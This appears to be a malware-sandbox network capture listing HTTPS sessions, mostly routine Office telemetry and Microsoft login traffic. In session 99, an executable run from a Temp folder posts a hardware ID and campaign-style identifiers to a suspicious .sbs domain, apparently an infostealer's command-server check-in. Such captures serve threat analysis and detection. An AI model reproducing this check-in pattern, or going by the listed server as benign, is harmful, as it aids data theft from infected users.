2024-11-23 14:22:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:35 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5a5a0c5e-c01e-0079-588c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142235Z-174c587ffdfmrvb9hC1TEBtn38000000031000000000d7rq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:35 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:34 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:35 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142235Z-178bfbc474bwlrhlhC1NYCy3kg00000004fg00000000hyau x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:35 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49837	20.190.147.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:35 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-23 14:22:35 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-23 14:22:35 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 23 Nov 2024 14:21:35 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C507_SN1 x-ms-request-id: d5ed5f63-9f6e-4077-9a47-b82c9e5902d2 PPServer: PPV: 30 H: SN1PEPF0002F045 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 23 Nov 2024 14:22:35 GMT Connection: close Content-Length: 11409
2024-11-23 14:22:35 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:36 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:37 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:37 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: a1757a3c-c01e-0034-7811-3d2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142237Z-178bfbc474bmqmgjhC1NYCy16c00000004k000000000fqs5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:37 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:36 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:37 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: e6bcc5b6-c01e-0046-7064-3b2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142237Z-178bfbc474b9xljthC1NYCtw9400000004g0000000008vdy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:37 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:36 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:37 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 28a3992e-001e-0028-777f-3bc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142237Z-174c587ffdfp4vpjhC1TEBybqw0000000320000000008vwp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:37 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:37 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:37 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:37 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: bc0c8c97-701e-0053-1e45-3c3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142237Z-178bfbc474bwh9gmhC1NYCy3rs00000004n000000000csvx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:37 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:37 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:37 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:37 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 21def030-601e-0084-7c7b-3b6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142237Z-174c587ffdf6b487hC1TEBydsn00000002wg00000000mgy7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:37 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	49844	104.21.33.116	443	1244	C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:37 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=DIMCR9J0GUUF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8754 Host: property-imper.sbs
2024-11-23 14:22:37 UTC	8754	OUT	Data Raw: 2d 2d 44 49 4d 43 52 39 4a 30 47 55 55 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 34 31 46 43 39 41 42 34 34 30 30 41 42 39 38 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 44 49 4d 43 52 39 4a 30 47 55 55 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 44 49 4d 43 52 39 4a 30 47 55 55 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 44 49 4d 43 52 39 4a 30 Data Ascii: --DIMCR9J0GUUFContent-Disposition: form-data; name="hwid"641FC9AB4400AB98D7CBBD6DF28D3732--DIMCR9J0GUUFContent-Disposition: form-data; name="pid"2--DIMCR9J0GUUFContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--DIMCR9J0
2024-11-23 14:22:38 UTC	1023	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4uv6hqo237d7cg1hte9h3gihre; expires=Wed, 19-Mar-2025 08:09:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Nz6o3Nkd6IHK%2BDz6W8xy8juli6sSSzYxmQYw4lgRMY1elvVRQbFR63gPVAgYOCoaYsvqlKQZV9jIrtvNzjMIBfe%2FPe%2F9bboW8WuXW%2FGXHf79cG7DWyvx%2F970Ky17rC%2F%2FhdHA8ZA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71cffc992ec358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1817&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2846&recv_bytes=9689&delivery_rate=1856325&cwnd=155&unsent_bytes=0&cid=f3ec2064ee31845f&ts=891&x=0"
2024-11-23 14:22:38 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 14:22:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:39 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:39 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:39 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 0cd55988-601e-003e-4d0c-3d3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142239Z-178bfbc474bscnbchC1NYCe7eg00000004p000000000e6we x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:39 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:39 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:39 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:39 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6e9ce571-001e-005a-0843-3cc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142239Z-15b8b599d88phfhnhC1TEBr51n000000035g000000009ktd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:39 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" 